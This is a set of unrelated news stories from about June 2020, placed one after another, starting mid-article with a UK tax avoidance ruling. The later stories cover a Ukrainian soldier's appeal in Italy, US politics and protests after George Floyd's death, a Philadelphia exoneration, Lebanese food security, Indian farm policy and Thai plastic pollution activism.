However, the promoters of schemes involving Inverclyde and Clackmannanshire councils successfully argued at appeal that the tax authorities had erred when it came to their schemes.

But that has been overturned, and it will allow the HMRC to demand 2bn back from the schemes up and down the country.

BPRA was introduced in 2007 to encourage investment in deprived areas to assist regeneration.

Investors received tax breaks of up to 100 per cent of their qualifying investments that helped build up premises. Across Britain this aided the building of hotels, offices and warehouse.

Simon Koshoff, pictured, the co-founder of the Carluccio's restaurant chain, has also reportedly invested in similar schemes

Due to inflated claims it was abolished a decade later after fears the system was being abused and costing the exchequer too much due to inflated claims.

In the Inverclyde and Clackmannanshire schemes, investors owned the buildings for a short period and received a loan from the councils. They renovated the buildings and then deducted up to 100 per cent of the cost from their personal tax bills.

On the case against the two Scottish LLPs, an HMRC spokesperson said: 'This decision is one example of the way tax avoidance scheme users will try to find any means possible to avoid payment of tax due under the law. We will not hesitate to protect taxpayers' money by challenging these schemes in court.

'We are pleased that the Upper Tribunal has confirmed our clear position that LLPs that trade with a view to profit are required to complete partnership tax returns, and that we have the ability to enquire these returns.'
Ukraine is awaiting the announcement of the date of the Court of Appeal hearing in the case of National Guard member Vitaliy Markiv after the end of coronavirus quarantine in Italy.

"We are waiting for the end of coronavirus quarantine in Italy for a hearing of the Court of Appeal to be announced. We are sure that we have an extremely good position," Ukrainian Interior Minister Arsen Avakov said during an hour of questions to the Government in the Verkhovna Rada of Ukraine, an Ukrinform correspondent reports.

He added that Ukraine would also continue to make diplomatic efforts for releasing Markiv at the intergovernmental level.

The minister reminded that last year the National Police reopened the investigation into the circumstances of the murder of Italian journalist Andrea Rocchelli.

"A few weeks ago, a crime re-enactment was conducted which proves one hundred percent that Markiv could not be involved in the murder. Therefore, we make efforts and believe that Markiv will be released. I really want this to happen in the coming months, the interior minister stressed.

On May 25, a group of experts from the Kyiv Scientific Research Institute of Forensic Expertise and the Kyiv Polytechnic Institute conducted a crime re-enactment in the town of Slovyansk within the National Polices criminal investigation into the murder of Andrea Rocchelli and Andrei Mironov on May 24, 2014.

In summer of 2017, Ukraines National Guard member Vitaliy Markiv was detained in Italy on charges of alleged involvement in the murder of Italian photographer Andrea Rocchelli and his Russian interpreter Andrei Mironov. They died as a result of a mortar shelling at the foot of the Karachun Mountain near Slovyansk town on May 24, 2014. At that time, the territory in Donetsk region was controlled by the militants.

On July 12, a court in the Italian town of Pavia sentenced Ukraines National Guard member Vitaliy Markiv to 24 years in prison.

Markiv's lawyers called the sentence "political" and declared the intention to file the appeal. Later, the lawyers said the court of appeal could deliver its judgment in the spring of 2020.

President of Ukraine Volodymyr Zelensky instructed the Ministry of Foreign Affairs of Ukraine and the Prosecutor General's Office of Ukraine to make every effort for returning Markiv to the homeland.

ol
Maine's Democratic governor, Janet Mills, has resisted re-opening the state over fears tourists will bring coronavirus there this summer. Donald Trump said Friday that makes her "like a dictator," just days after his administration unleashed federal officers and military personnel on US citizens.

During a White House press conference then during a visit to Bangor, the president seemed flabbergasted that some states, including Maine, New York, New Jersey, California and others have not begun opening their economies amid the coronavirus outbreak.

All are overseen by Democratic state chiefs executive.

While speaking with GOP officials and fishing industry officials there in the afternoon, he zeroed in on Ms Mills.

"How does she do a thing like this? Destroying your state," the GOP president said. "How does she do a thing like this?"

"Tiffany likes Christmas," he said of the jewelry store chain. "You like these three months."

He was referring to June, July and August  huge months economically for the tourism-dependent state.

"She's like a dictator," he said, playing into right-wing narratives that the national lock down hindered Americans' freedoms.

It is difficult to overstate the importance of tourism to the state's economy.

That industry accounts for nearly 107,000 jobs there, which is about 16 per cent of the state's total employment, according to the Maine Office of Tourism.

Meantime, Mr Trump was there to talk about the state's fishing industry, which he portrayed as over-regulated and hamstrung by Obama administration regulations. He also said other countries and the European Union have "taken advantage" of US fishers, vowing to negotiate better deals to help them.

One, he claimed, would come via a phone call to Europe.

"I'm going to call them and we're going to put a tariff on their cars unless they change. We're going to charge an equivalent, plus if they don't drop their tariff on their fish," he said.

Mr Trump put Peter Navarro, his top trade adviser, in charge of working with the Europeans for the terms he desires. He did not describe those terms, however.

"Navarro is in charge of that. ... Watch how fast that tariff comes off," Mr Trump said. "Peter Navarro is going to be the 'lobster king' from now on."
A new documentary exploring the death of convicted sex abuser and financier Jeffrey Epstein is set to air this weekend.

Epstein was found unresponsive in his prison cell on August 10 last year and later died. He was awaiting trial on trafficking charges. A coroner ruled the death a suicide.

But some people have argued that the circumstances of his passing were suspicious - and have drawn attention to Epstein's links with numerous high-profile figures including Bill and Hillary Clinton, Donald Trump and Prince Andrew.

Others have rubbished claims of foul play.

An exterior view of the Metropolitan Correctional Center jail where financier Jeffrey Epstein was found unconscious with injuries to his neck / REUTERS

Bill Mersey, a prison counsellor to Epstein at the time of his death, said: "There's no way somebody got in there and killed him. Do you know how many people you'd have to pay off to get in there and kill him? There's just no way.

"To all the conspiracy theorists out there about Jeffrey Epstein's suicide vs murder, this is what I say: you're the same guys who think that the moon landing was fake. Don't be ridiculous. Get over it, he killed himself. There's no question about it in my mind. Case closed for me."

The documentary, which will be broadcast on Quest Red in the UK this Saturday, explores the different claims around Epstein's death.

Jeffrey Epstein / VIDEO GRAB

The programme also contains an allegation that Epstein changed his will late in his life, as a final "f-you" to his victims in order to delay any payouts.

Journalist Thomas Volscho said: "Epstein, 48 hours prior to him killing himself, if that's what happened, refiles and changes his will to be collapsed into a trust in the Virgin Islands."

"People in the Virgin Islands that are older, their lawyers advise them 'don't file your estate or your will or your probate in the Virgin Islands, file them in the mainland,' because it'll take nine, ten years before people in your will see any of the benefits of that.

"So, this will make it very difficult for victims to get any type of restitution from his estate," he added.
Source: Xinhua| 2020-06-05 19:46:25|Editor: huaxia

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by Dana Halawi

BEIRUT, June 5 (Xinhua) -- The outbreak of COVID-19 in Lebanon and the nationwide protests since Oct. 17 of last year raised the awareness of the Lebanese about preserving food security, prompting municipalities in the country to provide big support in this area.

One of the initiatives was launched by the union of municipalities in Chouf, Mount Lebanon, which is distributing over 10,000 poultry birds to the residents amid the current tough economic circumstances.

"This is a productive project ... to support farmers and the society's middle class who live in rural areas," head of the union of municipalities in Chouf, Yehya Abou Karroum, told Xinhua.

Abou Karroum explained that the Lebanese people are currently going through tough economic conditions which require exceptional efforts to improve food security.

"This project is launched for all people who have small lands near their houses or who live in rural areas and are capable of raising poultry birds," Abou Karroum explained.

The union of municipalities in Chouf is distributing 15 poultry birds per citizen which, according to Abou Karroum, can lay around 300 to 360 eggs a year.

Lebanon is currently going through its worst economic and financial crisis with thousands of citizens losing jobs due to the bankruptcy of thousands of companies and businesses.

As a result, people have been trying to focus their purchases on the most basic needs which saw a tremendous increase in prices amid hike in the price of the U.S. currency to the Lebanese pound and the increase in the cost of imported products.

"Today we feel, more than ever before, the need to secure our needs by growing our own poultry birds and own crops given the great increase in prices in the Lebanese market," Risal Jaffar, a citizen of Chouf, told Xinhua while waiting her share of poultry birds.

Prices of chicken have more than doubled in the past few months. People used to spend 3,250 Lebanese pounds (around 2 U.S. dollars) for one kg of chicken, but now 7,250 Lebanese pounds.

"We have no solution but to rely on ourselves for the time being to secure our needs," Jaafar said.

Meanwhile, Shahid Bou Khzam, a farmer from Chouf, urged people to raise poultry birds in rural areas which will help people who have lost their jobs to meet their daily food needs.

"Those who can raise 40 poultry birds should do it. This is what I have been doing personally and I am also growing my crops like tomatoes for my family's consumption or to help people who need them," he said.

Lebanese Agriculture Minister Abbas Mortada announced earlier this year that the ministry refuses to sign any documents that allow the import of frozen poultry to protect farmers and people who raise poultry birds in rural areas.

Also, the Lebanese Poultry Syndicate urged Prime Minister Hassan Diab to stop the smuggling of eggs through borders with Syria which is hindering Lebanese farmers' capabilities of selling their produce. Enditem
Punjab chief minister Capt Amarinder Singh on Friday rejected the so-called agricultural marketing reforms approved by the Centre two days ago, dubbing them as yet another brazen attempt to erode the federal structure of the country.

The CM warned that these changes could pave the way for disbanding the minimum support price (MSP) regime as well as the foodgrain procurement system, triggering unrest among the states farmers. The present system has been working successfully for almost 60 years. We will not allow this. Agriculture is a state subject. This is encroachment of federal structure. We will challenge it, he told reporters at a press conference held via video-conferencing.

Amarinder said the Centres habit of taking sudden decisions and forcing them on states, without taking their views into account, was violative of the federal framework.

The Union cabinet had on Wednesday given its approval to three ordinances to remove cereals, pulses, oilseeds, onion and potato from the list of essential commodities and also allow the farmers to sell their produce directly or through e-trading to buyers of their choice, instead of remaining confined to mandis.

Amarinder, in his first reaction to these changes, strongly opposed the move, stating that if farmers from several other states start coming to mandis in Punjab to sell their produce because of better price, where the local farmers would go? The fees collected by the mandi board from procurement are used for constructing link roads and other development works. These will be affected, he said.

The CM said that Punjab would fight any steps to weaken the federal structure of the country through such direct and detrimental interference in the well-established agriculture produce marketing system of the state. The Centre has no powers to make any legislation to deal with the dynamics of agricultural production, marketing and processing, he later added in a statement, describing the Farming Produce, Trade and Commerce (Promotion and Facilitation) Ordinance, 2020, as a highly ill-conceived move.

KISHOR KEEN TO WORK WITH CONG, NOT IN TALKS WITH SIDHU OR AAP

Amarinder said that (political strategist) Prashant Kishor had expressed willingness to work with the Congress for the 2022 state assembly polls in Punjab. Kishor and I are very close. He is like a family member. I talked to Kishor and he said he will be quite happy to come and help, he said, denying reports that the political strategist had turned down the Congress request to help shape its poll campaign.

The CM said he had discussed the matter with Congress president Sonia Gandhi, who left the decision (on Kishor) to him. Before talking to Kishor, I took the party MLAs into confidence and 55 of the 80 legislators are in favour of bringing him in, he said.

Amarinder further said that Kishor also denied being in any talks with Congress MLA Navjot Singh Sidhu for his entry into the Aam Aadmi Party (AAP). Sidhu is very much a part of the Congress and has been in touch with the party leadership, he said.

Political circles have been abuzz with talk of Kishor approaching Sidhu, who quit the state cabinet last year following differences with the CM, to join the AAP. Both Sidhu and Kishor have kept mum so far.

KEEN TO CONTEST 2022 POLLS

The two-time CM also reiterated his intention to contest the next assembly polls, but said the decision on leading the party rested with the Congress president. He had earlier called the 2017 battle his last election.

SIT TO PROBE ILLICIT LIQUOR TRADE

The CM also announced the constitution of a special investigation team (SIT) to probe the illicit sale and smuggling of liquor during the lockdown period. The three-member SIT will be headed by water resources minister Sukhbinder Singh Sarkaria, he said in response to a query.

Agreeing that such large-scale illicit sale of liquor and smuggling from other states could not have been possible without the involvement of some insiders, Amarinder promised action against all those involved. Liquor was sold illegally during curfew. I have got a report on all illegalities committed by liquor vends and distilleries, he said, waving a sheaf of papers.

On the seed scam, he said there were clear indications that spurious seeds were sold. The PAU had produced nearly 3,000 quintals of PR 128 and 129 varieties of paddy seed on trial basis, whereas 30,000 quintals had been sold in the open market to farmers by unscrupulous dealers. This clearly indicated that spurious seeds were also mixed to these new varieties to fleece innocent farmers, he said, adding that the SIT headed by an ADGP-level officer would get to the bottom of the scam.

GOVT TO APPEAL AGAINST HC ORDER ON SCHOOL FEE

Chief minister Capt Amarinder Singh said the state government will appeal against the high court ruling allowing private schools to charge fee from students for the lockdown period. He also ruled out opening of the schools without getting a clean chit from medical experts. I will not compromise the health of children at any cost, he said.
Ivanka Trump was removed as the headline speaker at the virtual graduation ceremony at Wichita State University Campus of Applied Sciences and Technology in Wichita, Kansas, the school announced late Thursday night, hours after it was announced that she was set to make a speech.

Ivanka, the 38-year-old daughter and senior advisor to President Donald Trump, had prerecorded a commencement speech weeks ago that was scheduled to highlight the school's virtual ceremony on Saturday.

On Thursday, WSU Tech President Dr. Sheree Utash tweeted a new statement saying Ivanka would no longer be delivering the headline speech.

"In light of the social justice issues brought forth by George Floyd's death, I understand and take responsibility that the timing of the announcement was insensitive," Utash's statement reads. "For this, I'm sorry. That was never the intent, and I want you to know I have heard you and we are responding."

The White House did not respond to PEOPLE for comment on the sudden cancellation.

A wave of protests against police brutality and racial inequality has swept the United States over the last week, following Floyd's death. Floyd, an unarmed 46-year-old black man, was killed by a white police officer in Minneapolis on May 25.

Video of Floyd's death showed former officer Derek Chauvin pressing his knee into the back of Floyd's neck as he repeatedly told the officer, "I can't breathe." Chauvin is now facing second-degree murder charges.

RELATED: Trump Criticized for Invoking George Floyd's Name While Touting Latest U.S. Jobs Report

WSU Tech refocuses commencement ceremony on graduates.



Read a personal message from WSU Tech President, Dr. Sheree Utash at: https://t.co/4YdmNf6VfF



Read a joint statement with @WichitaState President, Dr. Jay Golden at: https://t.co/4ImeH7Afsj pic.twitter.com/9FWGe4970N  WSU Tech (@wsutech) June 5, 2020

RELATED: Trump's Ex-Defense Secretary Breaks Silence  Likening President to Nazi Divide-and-Conquer Strategy

Story continues

Ivanka was invited to speak at the school in February, Utash said on Thursday.

The president's daughter had prerecorded her commencement address last month prior to Floyd's death and the speech focused around the coronavirus crisis, which caused schools across the country to shut down in their final months and host virtual graduation ceremonies instead.

The school said Ivanka will still appear in an additional optional video message featuring 30 speakers, which students can choose to watch following the ceremony. It is not clear to what extent Ivanka's role will have in the optional video.

"You commence at a moment unlike any other," Ivanka said in her pre-taped speech, according to a White House transcript of her remarks given to PEOPLE this week.

Those words  spoken prior to Floyd's death  carry a different weight now, however.

President Trump has been accused of fanning the country's divide in the wake of Floyd's killing, tweeting out that protesters were "THUGS" and that "when the looting starts, the shooting starts."

The president's critics have said the latter remark  which NPR reported is a reference to a racist statement made by a white Miami police chief during the Civil Rights Movement of the 1960s  has only intensified violence from the mostly peaceful protests around the country.

Recently, Illinois Gov. J.B. Pritzker told the president directly on a phone call that his rhetoric was "inflammatory" and he was contributing to the growing unrest around the country.

That same day, Trump caused another nationwide rebuke after his administration ordered military police to clear an area of peaceful protestors around the White House so the president could stroll to a nearby church for a photo-op. The move raised concerns over Trump's use of the U.S. military against its own civilians and he was criticized by his former Defense Secretary Gen. James Mattis, who warned Trump was a danger to the country.

"Donald Trump is the first president in my lifetime who does not try to unite the American peopledoes not even pretend to try. Instead he tries to divide us," Mattis, 69, wrote in a statement sent to media outlets on Wednesday.

A similar division played out after Ivanka was initially announced as WSU Tech's headline speaker. "I respect and understand the sharply divided reaction to todays announcement," Utash wrote. "The college stands with those who fight injustice and advocate for social equity, and were profoundly proud of the diversity and social change being brought forth by our students, alumni, faculty, and staff."

To help combat systemic racism, consider learning from or donating to these organizations:

 Campaign Zero which works to end police brutality in America through research-proven strategies.

 ColorofChange.org works to make government more responsive to racial disparities.

 National Cares Mentoring Movement provides social and academic support to help black youth succeed in college and beyond.
San Francisco officials said Thursday theyre committed to taking a portion of the Police Departments budget and redirecting it to the citys African American community.

Mayor London Breed and Supervisor Shamann Walton announced the move jointly, saying it is intended as a small reparation to the decades of disinvestment in the African American community exacted by city policies that have had a disproportionate impact on black people.

But Breed also made clear in a statement that redirecting some police funds in the citys upcoming budget was in part inspired by the recent killing of George Floyd, a black man who died after being pinned down by Minneapolis police officers last week.

While the events of the last week have been painful and traumatic for so many of us, they have brought forward the devastating impacts of police violence against African Americans in this country, Breed said. Reforms to any single system, such as the criminal justice system or the police department, must go hand-in-hand with closing the gaps and ending the disparities that we know exist.

By bringing the community into the process of making these decisions, we can ensure that those who have been voiceless in the past now have a seat at the table as we make decisions that will impact their community.

The proposal, so far, is a broad gesture, with assurances only that a collaborative process between the black community and the city would inform how much money is redirected from the police and where it would go. Who will be involved in crafting the funding proposal is not yet known. Neither Breed nor Walton gave any indication of how much money might be involved or where it might be directed.

Matt Dorsey, a spokesman for the Police Department, said the agency would defer to the mayor and Board of Supervisors and declined to comment.

Breed for years has supported increases to police staffing, increasing foot patrols and building relationships between police and the communities were they work. It is not known how this proposal might impact those initiatives.

Walton is the District 10 supervisor who represents the historically African American Bayview-Hunters Point neighborhoods.

We have continued to see our organizations inequitably disregarded and disproportionately left out of receipt of vital resources, he said. In these times of continued systemic and systematic oppression of black people, we have to be innovative and strong with our solutions.

Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts.

Now Playing: Oakland protesters march on Thursday against the Minneapolis police killing of George Floyd. Video: San Francisco Chronicle

Earlier this week, Walton introduced a resolution urging the citys Civil Service Commission, which sets the rules for city hiring processes, to create a blanket ban on the hiring of any police or sheriffs deputy with a history of serious misconduct.

He has also committed to organizing a broad conversation about reparations for San Franciscos black community, which has dwindled to 5% of the citys population. Black households in San Francisco earn just 28% of what white households earn, according to city data. Despite the enormous amounts of money passing through the citys economy, around 19% of black children live in poverty in San Francisco, and black people comprise 35% of the citys homeless population.

Discussions on how to redistribute money from the Police Department to the black community will unfold against the backdrop of an unprecedented budget crisis for San Francisco. By October, Breed, city departments and the Board of Supervisors must make painful cuts across the board to close a $1.7 billion budget deficit over the next two years  a shortfall created by the coronavirus pandemic.

Dominic Fracassa is a San Francisco Chronicle staff writer. Email: dfracassa@ sfchronicle.com Twitter: @dominicfracassa
South Korea bows to pressure asserted from Kim Jong-un's sister on activists who fly anti-North Korea leaflets over the border using balloons. South Korea says it will introduce new laws to ban the protests in a desperate effort to keep its faltering diplomatic efforts alive, as per a report by The Daily Mail.

Activists and defectors have been known to use balloons to fly leaflets into into North Korea which criticise Kim over his nuclear ambitions and dismal human rights record.

North Korean leader Kim Jong-un's sister, Kim Yo-jong had threatened South Korea to take action against activists who flew anti-North Korea leaflets from the border.

In a statement released through state media, Kim Yo-jong called the defectors 'mongrel dogs' who had betrayed their homeland and said it was 'time to bring their owners to account,' referring to the government in Seoul.

She has threatened to end the military agreement and that the North could shut down a liaison office and factory site that have been major symbols of reconciliation between the two Koreas.

While, an official from Seouls presidential office was quoted by The Daily Mail as saying that the balloon launches do 'all harm, no good' and that the government will 'sternly respond' to activities threatening security.

Kim Yo-jong took a higher profile in North Korean affairs as part of her brothers diplomatic efforts in 2018.
Fairbanks Morse, a leading provider of solutions that are powering the world forward, has completed the build and testing of the two main propulsion diesel engines (MPDE) for the U.S. Coast Guards offshore patrol cutter (OPC) #1. Fairbanks Morse was awarded contracts by the prime contractor, Eastern Shipbuilding Group, to build the two MPDE engines for both the OPC #1 and OPC #2.

Fairbanks Morse, a leading provider of solutions that are powering the world forward, has completed the build and testing of the two main propulsion diesel engines (MPDE) for the U.S. Coast Guards offshore patrol cutter (OPC) #1. Fairbanks Morse was awarded contracts by the prime contractor, Eastern Shipbuilding Group, to build the two MPDE engines for both the OPC #1 and OPC #2.

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Technical information about the new OPC Offshore Patrol Cutter for US Coast Guard. (Picture source U.S. Coast Guard)

The acquisition of the offshore patrol cutter (OPC) is the Coast Guards highest investment priority. The OPC will provide a capability bridge between the national security cutter, which patrols the open ocean in the most demanding maritime environments, and the fast response cutter, which serves closer to shore. The ships will feature state-of-the-market technology and will replace the services 270-foot and 210-foot medium endurance cutters, which are becoming increasingly expensive to maintain and operate. The first OPC is scheduled for delivery in 2022.



The OPC is a 360 foot-long vessel that will be powered by two FM | MAN 16V 28/33D STC diesel engines, with each engine rated 7,280 kWm (9,763 brake-horsepower) running at 1,000 revolutions per minute. These engines will be delivered to Eastern Shipbuilding Group in Panama City, Florida. The first OPC engine has been built and was delivered in January 2020. Fairbanks Morse has completed testing on the PTO engine, which is expected to be delivered to ESG in June 2020.

The OPC is designed to conduct missions in support of the nations maritime security and border protection. The OPC will provide a capability bridge between the national security cutter (NSC), which patrols the open ocean in the most demanding maritime environments, and the fast response cutter (FRC), which serves closer to shore. The OPCs conduct missions including law enforcement, drug and migrant interdiction, search and rescue, and other homeland security and defense operations.

The U.S. Coast Guard and the U.S. Navy have turned to Fairbanks Morse for over 70 years to provide quality diesel engines for marine propulsion and ship service systems, trusting in the safety and reliability of the companys engines whether for training vessels or mission-critical warfare ships. Today, Fairbanks Morse engines are installed on approximately 80% of U.S. Navy ships that have a medium speed power application.
Three rounds of severe thunderstorms are possible this weekend in North Dakota, the National Weather Service says.

The storm systems could bring heavy rain, flash flooding, large hail, strong winds and even tornadoes.

"All hazards are possible," the weather service said, adding that it has greater than "medium" confidence in property damage.

A low pressure system developing in the western U.S. is forecast to reach the northern Rockies on Saturday, then shift into the Northern Plains through much of the weekend. Wind gusts could be as strong as 80 mph, according to Accuweather.

"Essentially, much of the northern High Plains to portions of southern Saskatchewan and southeastern Alberta, Canada, will be at risk from later Saturday to Saturday night," AccuWeather Canada Weather Expert Brett Anderson said.

The National Weather Service outlook for North Dakota is for isolated severe storms Saturday morning; scattered severe storms Saturday afternoon into early Sunday with the greatest threat in southern North Dakota, beginning just south of Bismarck; and scattered storms statewide Sunday afternoon and night with the greatest threat in the eastern half of the state.

The National Weather Service forecast for the Bismarck-Mandan area calls for a 60% chance of rain on Saturday and winds gusting to 40 mph.

The storm system has the potential to be the biggest one of the year so far in terms of the number of severe storms and the potential danger and damage, according to AccuWeather Senior Meteorologist Alex Sosnowski.

"June and July are the prime months for severe storms over the northern tier of the U.S. and the southern tier of Canada," Anderson said.

So far in 2020, few rain storms have hit western North Dakota. Nearly all of the western half of the state is classified as "abnormally dry" or in a "moderate drought," according to the U.S. Drought Monitor.

Weather service data show that Bismarck has had just 1.85 inches of rain since the start of the year. The city could normally expect 5.88 inches by early June.

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Greg Ogrod (left) embraces his brother, Walter Ogrod, on Friday at Wawa on Skippack Pike in Schwenksville. Walter Ogrod has been on death row for 23 years and incarcerated for 28 years, and he appeared at Wawa to meet family and friends immediately after his conviction was vacated. Read more

Walter Ogrod spent more than 23 years on death row while insisting he had been wrongfully convicted of killing 4-year-old Barbara Jean Horn in Northeast Philadelphia in 1988.

On Friday, the criminal justice system agreed.

Common Pleas Court Judge Shelley Robins-New overturned Ogrods conviction months after the District Attorneys Office and defense attorneys had agreed it was tainted by critical flaws  including key evidence withheld by police and prosecutors who put him behind bars, a coerced confession, and unreliable testimony from jailhouse snitches.

During a virtual hearing conducted via Zoom, Assistant District Attorney Carrie Wood tearfully apologized to Ogrod and to Barbara Jeans family, calling the case a failure for them and for the city.

We not only stole 28 years of your life, but we threatened to execute you based on falsehoods, Wood told Ogrod.

Though the audience in the virtual courtroom had to watch a video call, several members of the gallery could be seen wiping tears from their faces as his conviction was officially dissolved.

Ogrod  who had fallen ill in prison as the coronavirus took hold in March but has recovered  was released from SCI Phoenix on Friday afternoon. He met a group of about 10 relatives and friends at a Wawa parking lot about 12:20 p.m., embracing his brother, Greg, and at one point having to brace himself on a parked car while overcome with emotion.

One of his attorneys, Andrew Gallo, said in court: Until today, our society  our justice system  has failed Walter Ogrod and Barbara Jeans family.

District Attorney Larry Krasner said at a news conference that it was hard to celebrate a case that had caused so much pain. But, he said, these kinds of events, in which the system corrects itself, are absolutely essential to the restoration of trust between the community and law enforcement.

Barbara Jeans mother, Sharon Fahy, said at the same news conference that she now believed in Ogrods innocence, too, and was happy he would be released.

All we wanted was the truth, Fahy said.

Gross miscarriage of justice

Barbara Jeans naked remains were found on July 12, 1988, inside a cardboard box on the 1400 block of St. Vincent Street, not far from her familys house and across from where Ogrod lived.

The case shocked the city but went cold for nearly four years. In early 1992, it was reassigned to homicide Detectives Martin Devlin and Paul Worrell.

Ogrod allegedly confessed to them, saying he beat Barbara Jean with a weight bar in his basement.

But in court documents filed this year, Krasners office said Ogrod had been sleep-deprived and manipulated when speaking to the detectives. And prosecutors said the case files contained a plethora of information regarding how Devlin and Worrell had a history of using coercive techniques to obtain confessions and incriminating suspects.

Prosecutors said they no longer found his confession credible.

There were other holes in the case, according to Krasners office. Chief among them was that Barbara Jean likely died of asphyxiation, but police and trial prosecutors had withheld that information from Ogrods attorneys to advance the theory that she was beaten to death.

The office also said a new DNA test conducted during the appeal process did not show any link between Ogrod and Barbara Jean.

And prosecutors accused their predecessors of relying on false testimony from jailhouse informants John Hall and Jay Wolchansky, saying the men had colluded on a bogus statement against Ogrod. Wolchansky had mental health problems that were not disclosed to Ogrods attorneys, prosecutors said, while Hall  a cooperating witness in 12 homicides between 1983 and 1997  was so notorious for securing jailhouse confessions that he was known as the Monsignor.

Wolchansky did not testify at Ogrods first trial in 1993, which ended in a mistrial after 11 jurors voted to acquit and one panelist did not agree. At Ogrods retrial three years later, with Wolchansky bolstering the prosecution, Ogrod was convicted and sentenced to death.

Prosecutors in Krasners office earlier this year called the case a gross miscarriage of justice.

There exists no credible evidence to prove Ogrod was the person who murdered Barbara Jean, they wrote.

We must be better

The revelations angered Fahy, Barbara Jeans mother, who in April submitted a sworn statement supporting Ogrods release after prosecutors had told her about the problems with the case.

There is no question in my mind that Mr. Ogrod is innocent and that he should be released from prison immediately, she wrote.

Fahy watched Fridays proceedings from the District Attorneys Office. Wood told her: This office [had] not told you the truth about what happened to your little girl so many years ago. The truth is painful and terrible, but it is what you deserved to hear from this office, and we did not do that. And I am so sorry.

Wood also said the true perpetrator has remained unidentified, which she said made the streets less safe.

For that, this office must apologize, Wood said. And we must be better.

The case marks the 13th murder conviction that Krasners Conviction Integrity Unit has helped overturn since he was sworn into office in 2018. And it is the second case the unit has said was marred by coerced confessions secured by Detectives Devlin and Worrell.

Two other convictions tied to the detectives had been overturned before Krasner took office.

Prosecutors said last year that they are reviewing an unspecified number of other cases tied to Devlin and Worrell, who have denied previous allegations of wrongdoing.

Despite Fridays victory for Ogrod, his legal travails are not over. Robins-New agreed to vacate his conviction but said she did not have the ability to toss his case.

Instead, she granted him a new trial  one prosecutors made clear they will not pursue. They will have to return to court at a future date and ask another judge to formally drop the charges.

In the meantime, Robins-New agreed to downgrade Ogrods case to third-degree murder, making him eligible for bail.

For the first time since he was arrested nearly three decades ago, Ogrod was allowed to go home.

Photographer Margo Reed contributed to this article.
by Ewen Mcleish

Emerging from our collective lockdown into the new normal, many of us will notice that some things remain the same.

Our environmental challenges have not gone away and Thailand continues to struggle with plastic pollution, despite the much-celebrated move to outlaw plastic bags.

Of course, not all bags were banned; 75 of Thailands key retailers took part. When he launched the initiative, Minister of Natural Resources and Environment Varawut Silpa-Archa said the greatest challenge would be getting rid of the last 40% of bags given out at fresh markets and in rural areas.

Added to this are complications related to months-long lockdown. One month in, City Hall reported that the volume of plastic waste had exploded as people at home relied on home deliveries.

Huge numbers of contaminated face masks need to be properly disposed of due to both the obvious public health threat and damage they can cause to our environment.

So, as the country opens up, tackling both the economy and societys wasteful attitude to plastic will be as vital as before.

Just before the virus hit, I sat down with six grassroots environmental change-makers to hear how the battle against single-use plastic has gone and whats next to protect our environment from plastic peril.

Warawat Bibb Sabhavasu

Bibb Sabhavasu volunteered to help care for Marium the dugong who helped raised awareness of Thailands plastic problem. Photo Credit: Warawat Sabhavasu

A passion for free-diving first turned Bibb on to the sheer amount of human detritus in our oceans. All I ever saw was plastic, he laments.

Bibb, 39, heads up the Bangkok chapter of Trash Hero, which organizes regular cleanups around the metropolis. Around 80% of ocean plastic pollution starts out in the city, I want to stop the flow before it gets to the coast, he says.

Social media is one of Bibbs key weapons. It enables individuals to make a real difference. Thais are addicted to it so it is central to changing attitudes, he explains.

Mariam, the baby dugong who last year won and broke the nations hearts through viral videos, illustrates social medias power.

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Bibb volunteered to care for the orphaned sea cow on Koh Libong in Trang Province; tending to her in the ocean at night and watching her grow ill.

We didnt suspect plastic as the cause, he recalls, but when she died, vets found eight pieces blocking her intestine. The news spread quickly online.

Netizens were captivated by her cute persona, and her death by plastic tugged at our heartstrings. Bibb believes that Mariams story encouraged the government to act with urgency to ban single-use bags.

The ban raised public awareness, but it was not enough. These bags are just a fraction of the rubbish we collect at Trash Hero cleanups. We need to rethink our entire waste management system, Bibb says.

Tara Buakamsri

Tara Buakamsri. Photo Credit: Baramee Temboonkiat Greenpeace

A founding member of Greenpeace SE Asia, Tara has worked with the advocacy group since 1998. He is now Thailands country director and helps orchestrate campaigns on plastic pollution.

We put our energies into scientifically researching the impact of plastic on ocean going animals, and working out which kinds of plastic make up the pollution, Tara explains.

The group enlisted the help of citizen scientists by teaming up with concerned businesses and local people to gather data on the problem to present to policy makers.

Tara viewed the bag ban as an inspiring start, but questions the effectiveness of making it voluntary rather than enforced.

The ban also needs support from education. We need schools, and public awareness campaigns to help consumers connect their plastic use to the bigger picture, Tara says.

He worries failure to properly explain the ban will lead to people resenting the inconvenience.

Tara would like to reframe the issue: People need to feel happy and proud to be part of a change for the better, rather than resentful due to inconvenience.

Marlena Wilson

Marlena Wilson calling for action on Climate Change. Photo Credit: Grin Green International

Marlena is in her final year of high school and describes herself as a student trying to make a difference. She runs Grin Green International, a school-based NGO with a mission to eradicate single-use plastics from Thailand.

My job is to lead and inspire todays youth to take action and create the change our world desperately needs. It is our future, a future which many adults may not even experience, and it scares me, she says.

Grin Green International was behind the Plastic Bag Monster, a costume consisting of 700 plastic bags (the average number Thais were said to use in three months). Members took turns wearing it on awareness raising tours around the city.

A video of the monsters first outing at a branch of 7-Eleven quickly clocked up tens of thousands of views.

Asked whether the monster can now be laid to rest, Marlena says they will kill it off only when Thailand truly commits to not using single use plastic.

Walk into any convenience store and notice all the plastic packaging. Carrier bags are only the tip of the iceberg, she observes. She called out the appearance of unbranded plastic bags  those printed without logos  that have been spotted at convenience stores since the ban.

Last year, the government announced a roadmap to tackle plastic waste by 2030. It included phasing out of bottle cap seals, microbeads and so-called biodegradable plastics that only break down into much smaller pieces.

This gives Marlena hope for the future, but she remains skeptical. We have to see whether these promises are kept. As students we aim to hold the government responsible for their future actions or inactions, Marlena vows.

Nanticha Lynn Ocharoenchai

Nanticha Ocharoenchai. Photo Credit: Beil Calderon Greenpeace

In 2017, bored in class, Nanticha Ocharoenchai, aka Lynn, began scrolling through her phone and found a profile about teenage climate activist Greta Thungberg.

The article described Gretas depression and anxiety caused by inaction on the climate crisis. I could totally relate. And wondered how hard it would be to create a Facebook event and go on strike.

Freshly graduated, Lynn is the 22-year-old organizer of Climate Strike Thailand, which harnesses social media to bring people out to protest in support of action on climate change. She had organized four climate strikes prior to the pandemic shutdown.

Lynn hopes that the strikes will gain media attention, and drive the public (and in turn business leaders and government) to care more deeply about the climate crisis.

When many people think of climate change, they think of plastic bags, she says, but the issue is much bigger than this.

